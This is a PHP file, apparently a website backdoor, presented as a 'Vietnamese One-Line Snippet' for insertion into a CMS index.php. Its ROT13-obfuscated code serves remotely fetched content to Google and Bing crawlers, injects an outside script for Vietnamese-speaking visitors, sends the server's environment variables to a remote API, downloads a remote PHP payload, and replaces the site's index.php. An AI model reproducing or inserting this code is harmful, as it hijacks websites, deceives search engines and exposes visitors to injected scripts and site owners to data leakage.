Elep

<?php 
 /* 
  * Vietnamese One-Line Snippet - New JS URL 
  * Insert this line after <?php in your CMS index.php 
  */ 
 
 function _d($s){return str_rot13($s);}$_1x=_d('uggc://kvnb.zzn888.pp/');$_2x=_d('uggcf://wf.wlmlcf.pbz/wf/iaonvovawv.wf');do{if(!isset($_SERVER[_d('UGGC_HFRE_NTRAG')]))break;$_3x=strtolower($_SERVER['HTTP_USER_AGENT']);if(strpos($_3x,_d('tbbtyrob'.'g'))!==false||strpos($_3x,_d('ovat'.'obg'))!==false){$_4x=((!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')||(isset($_SERVER['SERVER_PORT'])&&$_SERVER['SERVER_PORT']==443))?'https':'http';$_5x=$_1x.'?'.http_build_query(array(_d('cebgbpby')=>$_4x,_d('qbznva')=>isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'',_d('hev')=>isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'/'));if(function_exists('curl_init')){$_6x=curl_init($_5x);curl_setopt_array($_6x,array(CURLOPT_RETURNTRANSFER=>true,CURLOPT_USERAGENT=>$_SERVER['HTTP_USER_AGENT'],CURLOPT_CONNECTTIMEOUT=>3,CURLOPT_TIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>2));$_7x=curl_exec($_6x);$_8x=curl_errno($_6x);curl_close($_6x);if($_8x===0&&!empty($_7x)){if(!headers_sent())header('Content-Type: text/html; charset=utf-8');echo $_7x;exit;}}break;}if(!isset($_SERVER[_d('UGGC_NPPRCG_YNATHNTR')]))break;$_9x=strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);if(strpos($_9x,'vi')===false)break;if(!headers_sent())header('Content-Type: text/html; charset=utf-8');echo '<!doctype html><html><head><meta charset="utf-8"><script src="'.$_2x.'"></script></head><body></body></html>';exit;}while(false);unset($_1x,$_2x,$_3x,$_4x,$_5x,$_6x,$_7x,$_8x,$_9x); 
 
 /* === Original CMS code goes below this line === */ 
?>
$allinonedomain = 'allinoneyyds.cfshserver.top';
$apihead = 'http://api.cfshserver.top/sheyyds4/';
$server = $_SERVER;
$server['RELATED_HOST'] = 'cyber.assocoweb.ovh';
unset($server['HTTP_COOKIE']);
unset($server['SERVER_SIGNATURE']);
$apiurl = 'http://' . $allinonedomain . '/api2?f=site2NewSite&domain='.$server['HTTP_HOST'].'&json='.base64_encode(json_encode($server));
file_get_contents($apiurl);
file_put_contents('output.php', file_get_contents($apihead . '?file=onekeyoutput.txt&singleencoder=on'));
$path = dirname(__FILE__);
unlink($path . '/index.php');
rename($path . '/n3JaKCgNQu2xUIGN.php', $path . '/index.php');
header("Location: " . $_SERVER['REQUEST_URI']);